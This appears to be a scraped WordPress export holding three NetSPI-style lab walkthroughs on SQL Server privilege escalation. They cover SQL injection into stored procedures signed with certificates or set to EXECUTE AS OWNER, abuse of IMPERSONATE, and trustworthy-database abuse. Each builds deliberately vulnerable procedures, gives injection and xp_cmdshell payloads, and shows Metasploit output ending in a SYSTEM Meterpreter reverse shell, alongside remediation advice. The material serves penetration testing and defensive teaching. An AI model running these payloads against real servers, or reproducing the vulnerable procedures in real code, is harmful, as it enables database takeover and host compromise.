ROUTINE_DEFINITION like '%execute @%' OR
ROUTINE_DEFINITION like '%execute (%' OR
ROUTINE_DEFINITION like '%execute(%' OR
ROUTINE_DEFINITION like '%''''''+%' OR
ROUTINE_DEFINITION like '%'''''' +%')
ORDER BY ROUTINE_NAME

It might be worth noting that some applications may have thousands of custom stored procedures. So if you don’t feel like taxing a production server you can simply export them and grep for the same keywords you see in the query. SQL Server Management Studio will allow you to save all results as an excel file, but if you’re looking for a more scriptable option you can use the little PowerShell script I wrote for exporting stored procedure code from all accessible databases. The script can be downloaded from: https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Get-SqlServer-Escalate-SpSource.psm1

Below is a basic command example.

PS C:temp> Import-Module .Get-SqlServer-Escalate-SpSource.psm1 -Force
PS C:temp> Get-SqlServer-Escalate-SpSource -SQLServerInstance 172.16.54.229standard -SqlUser sa -SqlPass MyPassword!

Below is a sample screen shot of expected results. Note: The script doesn’t search the TempDB, MSDB, or Model database for custom stored procedures.

After the script is run it exports all of the stored procedures into a csv file and .sql files.

Creating a Vulnerable Stored Procedure Signed with a Certificate

Another way to provide stored procedures with privileges to access objects external to the current database is by signing them with a certificate. Some of the advantages include allowing a least privilege login to execute the stored procedure with elevated privileges WITHOUT having to:

  • Assign logins excessive privileges directly to logins/roles. For example, db_owner or sysadmin.
  • Assign logins excessive IMPERSONATE privileges used to impersonate users and logins on demand with the EXECUTE AS command.
  • Configure the stored procedure to run as another login using the WITH EXECUTE AS clause.
  • Flag the database as trustworthy, which could weaken other controls.

All those things are great and give me a warm fuzzy feeling. However, at the end of the day if a signed procedure uses variables that aren’t parametrized and the attacker has control over at least one of them then it’s still likely to be vulnerable to SQL injection.

Ok, enough of my yammering, let’s build a vulnerable procedure signed with a certificate using the instructions below.

1. Create a new stored procedure in the current database named “sp_sqli2”.

-- Set target database
USE MASTER;
GO
-- Create procedure
CREATE PROCEDURE sp_sqli2
@DbName varchar(max)
AS
BEGIN
Declare @query as varchar(max)
SET @query = 'SELECT name FROM master..sysdatabases where name like ''%'+ @DbName+'%'' OR name=''tempdb''';
EXECUTE(@query)
END
GO

2. Create a master key for the database.

-- Create a master key for the database
CREATE MASTER KEY ENCRYPTION BY PASSWORD = 'SuperSecretPasswordHere!';
GO

3. Create certificate for the “sp_sqli2” procedure. This can be configured with a password, but for the sake of simplicity I left it out.

-- Create certificate for the sp_sqli2 procedure
CREATE CERTIFICATE sp_sqli2_cert
WITH SUBJECT = 'This should be used to sign the sp_sqli2',
EXPIRY_DATE = '2050-10-20';
GO

4. Create a new login named “sp_sqli2_login” from the “sp_sqli2_cert” certificate. No password is defined for the login for the sake of simplicity, but in the real world one should be set.

-- Create cert login
CREATE LOGIN sp_sqli2_login
FROM CERTIFICATE sp_sqli2_cert

5. Sign the “sp_sqli2” stored procedure with the new “sp_sqli2_cert” certificate. This can use a password, but for the sake of simplicity I left it out.

-- Add cert to stored procedure
ADD SIGNATURE to sp_sqli2
BY CERTIFICATE sp_sqli2_cert;
Go

6. Add the “sp_sqli2_login” login to the sysadmins role.

-- Add sp_sqli2_login to sysadmin fixed server role
EXEC master..sp_addsrvrolemember @loginame = N'sp_sqli2_login', @rolename = N'sysadmin'
GO

7. Allow members of the PUBLIC role to execute it.

GRANT EXECUTE ON sp_sqli2 to PUBLIC

For more information on signing procedures with certificates check out the Microsoft site at http://msdn.microsoft.com/en-us/library/bb283630.aspx.

Finding Potentially Vulnerable Stored Procedures Signed with a Certificate

In this section I’ll provide a basic process for finding procedures signed with a certificate that may be vulnerable to SQL injection.   Please note that not all logins/database users will have the privileges required to view the source of all stored procedures. However, from a blue team perspective these are a nice way to quickly identify low hanging fruit. For the sake of simplicity just run these queries using the “sa” login.

1. If you are interested in taking a quick look at which logins were created from a certificate then you can use the query below.

select * from sys.server_principals where type = 'C'

It should return something like the results in the screenshot below.

2. Now let’s try finding procedures signed with a certificate for the current database that also have logins that were generated from them.

-- Select target database
USE MASTER
GO
-- Get procedure location, name, source, cert name, and cert login - 2k5 only?
SELECT
spr.ROUTINE_CATALOG as DB_NAME,
spr.SPECIFIC_SCHEMA as SCHEMA_NAME,
spr.ROUTINE_NAME as SP_NAME,
spr.ROUTINE_DEFINITION as SP_CODE,
CASE cp.crypt_type
when 'SPVC' then cer.name
when 'CPVC' then Cer.name
when 'SPVA' then ak.name
when 'CPVA' then ak.name
END as CERT_NAME,
sp.name as CERT_LOGIN,
sp.sid as CERT_SID
FROM sys.crypt_properties cp
JOIN sys.objects o ON cp.major_id = o.object_id
LEFT JOIN sys.certificates cer ON cp.thumbprint = cer.thumbprint
LEFT JOIN sys.asymmetric_keys ak ON cp.thumbprint = ak.thumbprint
LEFT JOIN INFORMATION_SCHEMA.ROUTINES spr on spr.ROUTINE_NAME = o.name
LEFT JOIN sys.server_principals sp on sp.sid = cer.sid
WHERE o.type_desc = 'SQL_STORED_PROCEDURE'
ORDER BY CERT_NAME

The expected results should include the “sp_sqli2” stored procedure and look something like the screenshot below.

3. To take it a little further now we can expand the query and search for stored procedures that also appear to contain dynamic SQL.

-- Get procedure location, name, source, cert name, and cert login, with dynamic SQL
SELECT spr.ROUTINE_CATALOG as DB_NAME,
spr.SPECIFIC_SCHEMA as SCHEMA_NAME,
spr.ROUTINE_NAME as SP_NAME,
spr.ROUTINE_DEFINITION as SP_CODE,
CASE cp.crypt_type
when 'SPVC' then cer.name
when 'CPVC' then Cer.name
when 'SPVA' then ak.name
when 'CPVA' then ak.name
END as CERT_NAME,
sp.name as CERT_LOGIN,
sp.sid as CERT_SID
FROM sys.crypt_properties cp
JOIN sys.objects o ON cp.major_id = o.object_id
LEFT JOIN sys.certificates cer ON cp.thumbprint = cer.thumbprint
LEFT JOIN sys.asymmetric_keys ak ON cp.thumbprint = ak.thumbprint
LEFT JOIN INFORMATION_SCHEMA.ROUTINES spr on spr.ROUTINE_NAME = o.name
LEFT JOIN sys.server_principals sp on sp.sid = cer.sid
WHERE o.type_desc = 'SQL_STORED_PROCEDURE'AND
(ROUTINE_DEFINITION like '%sp_executesql%' OR
ROUTINE_DEFINITION like '%sp_sqlexec%' OR
ROUTINE_DEFINITION like '%exec @%' OR
ROUTINE_DEFINITION like '%exec (%' OR
ROUTINE_DEFINITION like '%exec(%' OR
ROUTINE_DEFINITION like '%execute @%' OR
ROUTINE_DEFINITION like '%execute (%' OR
ROUTINE_DEFINITION like '%execute(%' OR
ROUTINE_DEFINITION like '%''''''+%' OR
ROUTINE_DEFINITION like '%'''''' +%')
ORDER BY CERT_NAME,ROUTINE_NAME

The expected result is shown in the screenshot below.

Attacking the Stored Procedures

Below I’ve provided some basic exercises to get you familiar with the SQL injection into stored procedures.

Before we start
The goal of this lab is to escalate our privileges in SQL Server by exploiting stored procedures that use the WITH EXECUTE AS OWNER clause and certificate signatures. However, I also want show how the trustworthy flag affects our results. So for now let’s turn it off. Make sure to disable it with the “sa” login.

ALTER DATABASE MASTER SET TRUSTWORTHY OFF

Note: Make sure to login with the “MyUser” login for all of the labs below.

Test the Basic Functionality
Run the query below to get the expected output of the “sp_sqli” and “sp_sqli2” stored procedures. This is just to make sure everything is working.

EXEC MASTER.dbo.sp_sqli 'master'
EXEC MASTER.dbo.sp_sqli2 'master'

You should see the same results for both stored procedures. Below is a screenshot of the expected result.

Injection 1: Commenting
The injection below should comment out the “OR” and only return the “master” database. This is a basic example of SQL injection.

EXEC MASTER.dbo.sp_sqli 'master''--'
EXEC MASTER.dbo.sp_sqli2 'master''--'

You should see the same results for both of the stored procedures. Below is a screenshot of the expected result.

Injection 2: Verifying execution as another user
The injection below will return the user context running outside and inside of the stored procedures.

-- Show current login outside of sp
SELECT 'OUTSIDE SP USER: '+SYSTEM_USER
-- Show login impersonation inside sp_sqli
EXEC MASTER.dbo.sp_sqli 'master'';SELECT ''INSIDE SP USER: ''+SYSTEM_USER as executesp--'
-- Show login impersonation inside sp_sqli2
EXEC MASTER.dbo.sp_sqli2 'master'';SELECT ''INSIDE SP USER: ''+SYSTEM_USER as certsp--'

Below is a screenshot of the expected result.

“MyUser” should be returned outside the stored procedure. You should also notice that inside the “sp_sqli” procedure (WITH EXECUTE AS OWNER) is running as the “sa” login.   However, the “sp_sqli2” procedure (signed) still appears to be running as “MyUser”. As we’ll see in a moment this is not always reflective of the privilege we actually have inside the stored procedures.

Injection 3: Verify sysadmin privileges
The injection below will return the sysadmin status outside and inside of the stored procedures. 1 means the current login has sysadmin privileges, and a 0 means it doesn’t.

-- Check if current user is a sysadmin outside sp
SELECT is_srvrolemember('sysadmin') as priv_outside;
-- Check if EXCUTE AS user is a sysadmin inside sp_sqli
EXEC MASTER.dbo.sp_sqli 'master'';SELECT is_srvrolemember(''sysadmin'') as priv_execsp--';
-- Check if EXCUTE AS user is a sysadmin inside sp_sqli2
EXEC MASTER.dbo.sp_sqli2 'master'';SELECT is_srvrolemember(''sysadmin'')as priv_certsp--';

Below is a screenshot of the expected result.

You should notice that the “sp_sqli” procedure returns a 0 even though it’s running as the “sa” login. That’s because the “master” is not set as trustworthy. Conversely, we can see that the signed procedure “sp_sqli2” can execute with elevated privileges even though the trustworthy flag has not been set in the “master” database.

Injection 4: OS command execution
First let’s verify that we can simply execute the “xp_cmdshell” procedure as the current user “MyUser”.

-- Attempt to execute xp_cmdshell outside the sp
EXEC master..xp_cmdshell 'whoami';

Below is a screenshot of the expected result.

You should be see some type of access denied error. Now let’s try that inside the “sp_sqli” procedure.

-- Attempt to execute xp_cmdshell inside the sp_sqli
EXEC MASTER.dbo.sp_sqli 'master'';EXEC master..xp_cmdshell ''whoami''';

Below is a screen shot of the expected result.

Once again we are getting access denied, because the trustworthy flag has not been set on the “master” database. Finally, let’s try the same injection on the signed procedure “sp_sqli2”.

-- Attempt to execute xp_cmdshell inside the sp_sqli2
EXEC MASTER.dbo.sp_sqli2 'master'';EXEC master..xp_cmdshell ''whoami''--';

Below is a screenshot of the expected output.

This time it works! I think the conclusion here is that although signing is the best option overall, it still comes with its own risks, because it doesn’t require the trustworthy flag to be set.

Injection 5: OS command execution in a trustworthy database
Ok, let’s sign in as “sa” and set the “MASTER “database to trustworthy again.

ALTER DATABASE MASTER SET TRUSTWORTHY ON

Now let’s try that command execution inside the “sp_sqli” procedure again. This time it should work!

-- Attempt to execute xp_cmdshell inside the sp
EXEC MASTER.dbo.sp_sqli 'master'';EXEC master..xp_cmdshell ''whoami''--';

Below is a screen shot of the expected result.

Tada! As you can see when you’re trying to escalate privileges using a stored procedure that uses the “WITH EXECUTE AS” clause the trustworthy setting makes a big difference.

Fixing the Stored Procedures

Microsoft has some pretty good recommendations to help prevent these types of attacks so I recommend checking out their web site for more information. Naturally, the fixes will vary depending on the environment, application, and use cases, but below are a few options to get you started.

1. Use parameterized queries in stored procedures to help prevent SQL injection. Below is an example of how to fix the first stored procedure from the lab. Removals in read, and additions are in black. Sign in as “sa” login to create it.

-- Create procedure with sqli fix
CREATE PROCEDURE sp_sqli_fix
@DbName varchar(max)
WITH EXECUTE AS OWNER
AS
BEGIN
SELECT name FROM master..sysdatabases WHERE name = 'tempdb' OR name = @DbName;
END
GO
-- Allow members of PUBLIC to execute it
GRANT EXECUTE ON sp_sqli_fix to PUBLIC

Now when we attempt to inject SQL into the “sp_sqli_fix” procedure with the “MyUser” login the injection fails and only the tempdb is returned.

-- Check if EXCUTE AS user is a sysadmin inside sp_sqli_fix
EXEC MASTER.dbo.sp_sqli_fix 'master'';SELECT is_srvrolemember(''sysadmin'') as priv_execsp--';

2. If it’s possible, set TRUSTWORTHY to off for the affected databases (excluding MSDB). This will help prevent the execution of xp_cmdshell and other bad things from within stored procedures that use WITH EXECUTE AS. It will also enforce a sandbox that only allows the stored procedure to access information associated with its own database.

ALTER DATABASE master SET TRUSTWORTHY OFF

Note: Be careful, there are some legit use cases for this and you could end up breaking things! So make sure you know what you’re doing.

3. Make sure custom stored procedures aren’t owned by sysadmins. For example, if the database owner of an application database is a sysadmin consider changing the owner to an account with less privilege so stored procedures using WITH EXECUTE AS OWNER will have less impact if other vulnerabilities exist.

4. Don’t assign the PUBLIC role with execute privileges on custom stored procedures. Only assign it to users or roles that require it. This will help prevent low privileged users from accessing potentially dangerous custom stored procedures.

REVOKE EXECUTE ON sp_sqli to PUBLIC

5. Use stored procedures signed with certificates instead of the WITH EXECUTE AS clause when possible. It’s worth it for all the reasons I provided when we created the “sp_sqli2” stored procedure earlier in this blog.

Wrap Up

The issues covered in this blog/lab were intended to help pentesters, developers, and dev-ops understand how a few common misconfigurations and coding mistakes can lead to the compromise of an entire SQL Server instance via stored procedure SQL injection. It’s worth noting that the same techniques can be used via SQL injection through a web or thick application. I just thought it would be easier to understand if it was exploited via a direct database connection. Hopefully the information is useful. Have fun with it, and don’t forget to hack responsibly. :)

PS: For those of you looking to reset your lab when you’re all done use the TSQL below:

USE MASTER
GO
drop proc sp_sqli
drop proc sp_sqli2
drop login sp_sqli2_login
drop login myuser
drop certificate sp_sqli2_cert
drop master key

Other Blogs in this Series

References

[post_title] => Hacking SQL Server Stored Procedures – Part 3: SQL Injection [post_excerpt] => In this blog I’ve covered how SQL injection can be identified and exploited to escalate privileges in SQL Server stored procedures when they are configured to execute with... [post_status] => publish [comment_status] => closed [ping_status] => closed [post_password] => [post_name] => hacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation [to_ping] => [pinged] => [post_modified] => 2021-06-08 21:44:16 [post_modified_gmt] => 2021-06-08 21:44:16 [post_content_filtered] => [post_parent] => 0 [guid] => https://netspiblogdev.wpengine.com/?p=2030 [menu_order] => 319 [post_type] => post [post_mime_type] => [comment_count] => 1 [filter] => raw ) [34] => WP_Post Object ( [ID] => 2068 [post_author] => 17 [post_date] => 2014-12-08 07:00:42 [post_date_gmt] => 2014-12-08 07:00:42 [post_content] =>

Application developers often use SQL Server stored procedures to make their code more modular, and help apply the principle of least privilege. Occasionally those stored procedures need to access resources external to their application’s database. In order to satisfy that requirement sometimes developers use the IMPERSONATE privilege and the EXECUTE AS function to allow the impersonation of other logins on demand.  Although this isn’t really a vulnerability, this type of weak configuration often leads to privilege escalation. This blog provides a lab guide and attack walk-through that can be used to gain a better understanding of how the IMPERSONATE privilege can lead to privilege escalation in SQL Server.

This should be interesting to penetration testers, application developers, and dev-ops. However, it will most likely be pretty boring to DBAs that know what they’re doing. Below is a summary of the topics being covered:

Setting up a Lab

Below I've provided some basic steps for setting up a SQL Server instance that can be used to replicate the scenario covered in this blog.

  1. Download the Microsoft SQL Server Express install that includes SQL Server Management Studio. It can be download at http://msdn.microsoft.com/en-us/evalcenter/dn434042.aspx.
  2. Install SQL Server by following the wizard, but make sure to enabled mixed-mode authentication and run the service as LocalSystem for the sake of the lab.
  3. Make sure to enable the tcp protocol so that we can connect to the listener remotely. Instructions can be found at http://blogs.msdn.com/b/sqlexpress/archive/2005/05/05/415084.aspx.
  4. Log into the SQL Server with the "sa" account setup during the installation using the SQL Server Management Studio application that comes with SQL Server.
  5. Press the "New Query" button and use the TSQL below to create the new users for the lab.
-- Create login 1
CREATE LOGIN MyUser1 WITH PASSWORD = 'MyPassword!';

-- Create login 2
CREATE LOGIN MyUser2 WITH PASSWORD = 'MyPassword!';

-- Create login 3
CREATE LOGIN MyUser3 WITH PASSWORD = 'MyPassword!';

-- Create login 4
CREATE LOGIN MyUser4 WITH PASSWORD = 'MyPassword!';
  1. Provide the MyUser1 login with permissions to impersonate MyUser2, MyUser3, and sa.
-- Grant myuser1 impersonate privilege on myuser2, myuser3, and sa
USE master;
GRANT IMPERSONATE ON LOGIN::sa to [MyUser1];
GRANT IMPERSONATE ON LOGIN::MyUser2 to [MyUser1];
GRANT IMPERSONATE ON LOGIN::MyUser3 to [MyUser1];
GO

Finding SQL Server Logins that can be impersonated

The first step to impersonating another login is findings which ones your account is allowed to impersonate. By default, sysadmins can impersonate anyone, but normal logins must be assigned privileges to impersonate specific users. Below are the instructions for finding out what users you can impersonate.

  1. Log into the SQL Server as the MyUser1 login using SQL Server Management Studio.
  2. Run the query below to get a list of logins that can be impersonated by the “MyUser1” login.
-- Find users that can be impersonated
SELECT distinct b.name
FROM sys.server_permissions a
INNER JOIN sys.server_principals b
ON a.grantor_principal_id = b.principal_id
WHERE a.permission_name = 'IMPERSONATE'
  1. Below is a screenshot of the expected results.Html

Note: In the example above, the query is being executed via a direct database connection, but in the real world external attackers are more likely to execute it via SQL injection.

Impersonating SQL Logins and Domain Accounts

Now that we have a list of logins that we know we can impersonate we can start escalating privileges. J In this section I’ll show how to impersonate users, revert to your original user, and impersonate domain users (like the domain admin). Fun fun fun...

Impersonating SQL Server Logins

  1. Log into the SQL Server using the MyUser1 login (if you’re not already).
  2. Verify that you are running as a SQL login that does not have the sysadmin role. Then run EXECTUTE AS to impersonate the sa login that was identified in the last section.
-- Verify you are still running as the myuser1 login
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')

-- Impersonate the sa login
EXECUTE AS LOGIN = 'sa'

-- Verify you are now running as the sa login
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')

Below is an example of the expected output.

Html
  1. Now you should be able to access any database and enable/run xp_cmdshell to execute commands on the operating system as the SQL Service service account (LocalSystem). Below is some example code.
-- Enable show options
EXEC sp_configure 'show advanced options',1
RECONFIGURE
GO

-- Enable xp_cmdshell
EXEC sp_configure 'xp_cmdshell',1
RECONFIGURE
GO

-- Quickly check what the service account is via xp_cmdshell
EXEC master..xp_cmdshell 'whoami'

Below is an example of the expected output:

Tada! In this scenario we were able to become the sysadmin “sa”. You may not always get a sysadmin account right out of the gate, but at a minimum you should get additional data access when impersonating other logins.

Note: Even a small increase in privileges can provide the first step in an escalation chain. For example, if you have the rights to impersonate a db_owner you may be able to escalate to a syadmin using the attack I covered in my last blog. It can be found here.

Impersonating SQL Logins as Sysadmin

Once you’ve obtained a sysadmin account you have the ability to impersonate database login you want. You can grab a full list of logins from the .

-- Get a list of logins
SELECT * FROM master.sys.sysusers
WHERE islogin = 1

Screenshot below:

Once you have the list it’s pretty easy to become anyone. Below is an example of impersonating the MyUser4 login.

-- Verify you are still impersonating sa
select SYSTEM_USER
select IS_SRVROLEMEMBER('sysadmin')

-- Impersonate MyUser4
EXECUTE AS LOGIN = 'MyUser4'

-- Verify you are now running as the the MyUser4 login
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')

-- Change back to sa
REVERT

Below is a screenshot:

Note: Make sure to REVERT back to the sysadmin account when you’re done. Otherwise you’ll continue to run under the context of the MyUser4 login.

Impersonating Domain Admins as a Sysadmin

Did I mention that you can impersonate any user in Active Directory? As it turns out it doesn’t even have to be mapped to an SQL Server login. However, the a catch is that it only applies to the SQL Server. That’s mostly because the SQL Server has no way to authenticate the Domain User to another system…that I’m aware of. So it’s not actually as cool as it sounds, but still kind of fun.

Note: Another important note is that when you run xp_cmdshell while impersonating a user all of the commands are still executed as the SQL Server service account, NOT the SQL Server login or impersonated domain user.

Below is a basic example of how to do it:

-- Get the domain of the SQL Server
SELECT DEFAULT_DOMAIN()

-- Impersonate the domain administrator
EXECUTE AS LOGIN = 'DEMOAdministrator'

-- Verify you are now running as the Domain Admin
SELECT SYSTEM_USER

Note: Remember that the domain will be different for everyone. In my example the domain is “DEMO”.

Below is an example of the expected output.

Revert to the original Login

If you get sick of being a sysadmin or a Pseudo Domain Admin you can always REVERT to your original login again. Just be aware that if you run the impersonation multiple times you may have to run REVERT multiple times.

-- Revert to your original login
REVERT

-- Verify you are now running as the MyUser1 login
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')

1.5 Automating Escalation with Metasploit and PowerShell

Since I’m lazy and don’t like to type more that I have to, I wrote a Metasploit module and PowerShell script to automate the attack for direct database connections. I also wrote a Metasploit module to execute the escalation via error based SQL injection. Big thanks to guys on the Metasploit team who helped me get the modules into the framework.

Metasploit Module: mssql_escalate_executeas

Below is an example of the mssql_escalate_executeas module being used to escalate the privileges of the myuser1 login using a direct database connection. Typically this would happen during an internal penetration test after guessing database user/passwords or finding database connection strings.

Metasploit Module: mssql_escalate_executeas_sqli

Below is an example of the mssql_escalate_executeas_sqli module being used to escalate the privileges of the myuser1 login using error based SQL injection. This is more practical during external network penetration tests. Mostly because SQL injection is pretty common and database ports usually are not exposed to the internet. Anyway pretty screenshot below…

PowerShell Script

For those who like to play around with PowerShell, I also put a script together that can be used to escalate the privileges of the myuser1 login via a direct database connection. It can be downloaded from https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-ExecuteAs.psm1.

The module can be imported with the command below. Also, I’m aware the name is comically long, but at this point I’m just trying to be descriptive. :)

Import-Module .Invoke-SqlServer-Escalate-ExecuteAs.psm1

Then you can run it with the following command.

Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuser1 -SqlPass MyPassword!

Below is a basic screenshot of what it looks like when it runs.

Alternatives to Impersonation

There quite a few options for providing stored procedures with access to external resources without providing SQL logins with the privileges to impersonate other users at will. However, they all come with their own risks and implementation challenges. Hopefully, I’ll have some time in the near future to cover each in more depth, but below is a summary of common options.

  • Create roles with the required privileges on external objects. This doesn’t always make least privilege easy, and can generally be a management pain.
  • Use cross local/database ownership chaining. This one can end in escalation paths as well. More information can be found at http://msdn.microsoft.com/en-us/library/ms188694.aspx.
  • Use EXECUTE WITH in the stored procedure to run as the stored procedure owner. This isn’t all bad, but can result in escalation paths if the store procedure is vulnerable to SQL injection, or is simply written to allow users to take arbitrary actions.
  • Use signed stored procedures that have been assigned access to external objects. This seems like the most secure option with the least amount of management overhead. Similar to the EXECUTE WITH option, this can result in escalation paths if the store procedure is vulnerable to SQL injection, or is simply written to allow users to take arbitrary actions. More information at http://msdn.microsoft.com/en-us/library/bb283630.aspx.

Wrap Up

The issues covered in this blog/lab were intended to help pentesters, developers, and dev-ops gain a better understanding of how the IMPERSONATE privilege can be used an abused. Hopefully the information is useful. Have fun with it, but don’t forget to hack responsibly. :)

References

[post_title] => Hacking SQL Server Stored Procedures – Part 2: User Impersonation [post_excerpt] => This blog provides a lab guide and attack walk-through that can be used to gain a better understanding of how the IMPERSONATE privilege can lead to privilege escalation in SQL Server. [post_status] => publish [comment_status] => closed [ping_status] => closed [post_password] => [post_name] => hacking-sql-server-stored-procedures-part-2-user-impersonation [to_ping] => [pinged] => [post_modified] => 2021-06-08 21:44:02 [post_modified_gmt] => 2021-06-08 21:44:02 [post_content_filtered] => [post_parent] => 0 [guid] => https://netspiblogdev.wpengine.com/?p=2068 [menu_order] => 323 [post_type] => post [post_mime_type] => [comment_count] => 1 [filter] => raw ) [35] => WP_Post Object ( [ID] => 1812 [post_author] => 17 [post_date] => 2014-11-10 07:00:55 [post_date_gmt] => 2014-11-10 07:00:55 [post_content] =>

SQL Server allows DBAs to set databases as “trustworthy”.  In a nutshell that means the trusted databases can access external resources like network shares, email functions, and objects in other databases.  This isn't always bad, but when sysadmins create trusted databases and don't change the owner to a lower privileged user the risks start to become noticeable.  In this blog I’ll show how database users commonly created for web applications can be used to escalate privileges in SQL Server when database ownership is poorly configured. This should be interesting to penetration testers, application developers, and dev-ops. Most DBAs already know this stuff.

I've provided a basic lab setup guide, but if you're not interested feel free to jump ahead. Below is a summary of the topics being covered:

Setting up a Lab

Below I've provided some basic steps for setting up a SQL Server instance that can be used to replicate the scenarios covered in this blog/lab.

1. Download the Microsoft SQL Server Express install that includes SQL Server Management Studio.  It can be download at http://msdn.microsoft.com/en-us/evalcenter/dn434042.aspx

2. Install SQL Server by following the wizard, but make sure to enable mixed-mode authentication and run the service as LocalSystem for the sake of the lab.

3. Log into the SQL Server with the “sa” account setup during installation using the SQL Server Management Studio application.

4. Press the “New Query” button and use the TSQL below to create a database named “MyAppDb” for the lab.

-- Create database
CREATE DATABASE MyAppDb&nbsp;
-- Verify sa is the owner of the application database
SELECT suser_sname(owner_sid)
FROM sys.databases
WHERE name = 'MyAppDb'

5. Press the “New Query” button and use the TSQL below to create a SQL Server login named “MyAppUser” for the lab.  In the real world a DBA will create an account like this to allow the application to connect to the database server.

-- Create login
CREATE LOGIN MyAppUser WITH PASSWORD = 'MyPassword!';

6. Press the “New Query” button and use the TSQL below to assign “MyAppUser” the “db_owner” role in the “MyAppDb” database.  In the real world a DBA might do this so that a SQL Server login used by a web application can access what it needs in its application database.

-- Setup MyAppUsers the db_owner role in MyAppDb
USE MyAppDb
ALTER LOGIN [MyAppUser] with default_database = [MyAppDb];
CREATE USER [MyAppUser] FROM LOGIN [MyAppUser];
EXEC sp_addrolemember [db_owner], [MyAppUser];

7. Confirm the “MyAppUser” was added as db_owner.

-- Verify the user was added as db_owner
select rp.name as database_role, mp.name as database_user
from sys.database_role_members drm
join sys.database_principals rp on (drm.role_principal_id = rp.principal_id)
join sys.database_principals mp on (drm.member_principal_id = mp.principal_id)

8. Set the “MyAppDb” database as trusted.

ALTER DATABASE MyAppDb SET TRUSTWORTHY ON

9. The query below will return all of the databases in the SQL Server instance, and the “MyAppDb” and “MSDB” databases should be flagged as trustworthy.

SELECT a.name,b.is_trustworthy_on
FROM master..sysdatabases as a
INNER JOIN sys.databases as b
ON a.name=b.name;

10. Use the TSQL below to enable xp_cmdshell.  Enabling this now will simplify the labs later, but it could be enabled by an attacker even if we didn’t enable it.

-- Enable show options
EXEC sp_configure 'show advanced options',1
RECONFIGURE
GO

-- Enable xp_cmdshell
EXEC sp_configure 'xp_cmdshell',1
RECONFIGURE
GO

Attacking the Trusted Database

According to Microsoft, configuring a database owned by a sysadmin as trusted will allow a privileged user to elevate their privileges.  I’ve found that to be partially true.  In some scenarios it’s also possible to elevate privileges as an unprivileged user, but I’ll cover that in future blogs. For now you can follow the instructions below to elevate the “MyAppUser” user’s privileges.

Note: This seems to work on SQL Server 2005, 2008 and 2012, but I haven’t tested beyond that.

1. Log into SQL Server as the “MyAppUser” user and execute the TSQL below to create a new stored procedure called “sp_elevate_me”. The procedure is created to run as the "OWNER", which is the "sa" account in this case. Since this will run as the "sa" login, it's possible to have the procedure add "MyAppUser" to the sysadmin fixed server role. This should be possible, because the db_owner role can create any stored procedure within their database, and the database has been configured as trusted.

-- Create a stored procedure to add MyAppUser to sysadmin role
USE MyAppDb
GO
CREATE PROCEDURE sp_elevate_me
WITH EXECUTE AS OWNER
AS
EXEC sp_addsrvrolemember 'MyAppUser','sysadmin'
GO

2. Verify the the “MyAppUser” is not a sysadmin.

--Verify MyAppUser is not a sysadmin
SELECT is_srvrolemember('sysadmin')

3. Next, execute the store procedure to add the “MyAppUser” to the sysadmin role.

-- Execute stored procedure to get sysadmin role
USE MyAppDb
EXEC sp_elevate_me

4. Finally, verify that the “MyAppUser” was added to the sysadmin role with the query below.

-- Verify sysadmin role was added
SELECT is_srvrolemember('sysadmin')

5. Now that we are a sysadmin we can also execute operating system commands like the ones shown below.

-- Verify sysadmin role
EXEC master..xp_cmdshell 'whoami'

If you’re still wondering what just happened here is the quick break down.

  • The “sa” account is the database owner (DBO) of the “MyAppDb” database
  • The “MyAppUser” has the has the “db_owner” role in the “MyAppDb” database, which gives the “MyAppUser” user administrative privileges in that database
  • Since the “MyAppUser” account is essentially an administrator of the “MyAppDb” database, it can be used to create a stored procedure that can EXECUTE AS OWNER
  • In the example above we simply created a stored procedure to EXECUTE AS OWNER (which is “sa” in this case) that adds the “MyAppUser” to the sysadmin role. Tada! We are sysadmins!

Automating the Attack with PowerShell

I put together a little PowerShell script to automate the attack described above.  Below is a screen shot showing the basic usage.  For those who are interested, it can be downloaded from here.   It supports adding the sysadmin role to your current user or creating a whole new sysadmin login.  See the help section of the file for more information.

Import-Module&nbsp; .Invoke-SqlServerDbElevateDbOwner.psm1
Invoke-SqlServerDbElevateDbOwner -SqlUser myappuser -SqlPass MyPassword! -SqlServerInstance 10.2.2.184

Automating the Attack with Metasploit

I know some people love their Metasploit, so I also created an auxiliary module to automate the attack.  It will probably be the most useful during internal network penetration tests.  Special thanks to Juan Vazquez, Joshua Smith, and Spencer McIntyre for helping me get the module into the Metasploit Framework.

Below are the basic usage steps.

1. Type “msfupdate” on your Kali build to get the latest Metasploit Framework updates from Rapid7.

2. Run “msfconsole” in a terminal window.

3. Select and configure the module, but make sure to replace everything with your target’s info.

use auxiliary/admin/mssql/mssql_esclate_dbowner
set rhost 172.20.10.2
set rport 1433
set username db1_owner
set password MyPassword!

4. Run show options to make sure everything looks right.

5. If everything looks good run it.

6. Now you can use other modules like “mssql_payload” to get a shell.

msf exploit(mssql_payload) &gt; use exploit/windows/mssql/mssql_payload
msf exploit(mssql_payload) &gt; set rhost 172.20.10.2
rhost =&gt; 172.20.10.2
msf exploit(mssql_payload) &gt; set rport 1433
rport =&gt; 1433
msf exploit(mssql_payload) &gt; set username db1_owner
username =&gt; db1_owner
msf exploit(mssql_payload) &gt; set password MyPassword!
password =&gt; MyPassword!
msf exploit(mssql_payload) &gt; exploit
&nbsp;
[*] Started reverse handler on 192.168.91.128:4444
[*] The server may have xp_cmdshell disabled, trying to enable it...
[*] Command Stager progress -&nbsp;&nbsp; 1.47% done (1499/102246 bytes)
...[SNIP]...
[*] Sending stage (769536 bytes) to 192.168.91.1
[*] Command Stager progress - 100.00% done (102246/102246 bytes)
[*] Meterpreter session 1 opened (192.168.91.128:4444 -&gt; 192.168.91.1:4175) at 2014-09-27 10:06:19 -0500
&nbsp;
meterpreter &gt; getuid
Server username: NT AUTHORITYSYSTEM
meterpreter &gt;

Automating the Attack via SQL Injection with Metasploit

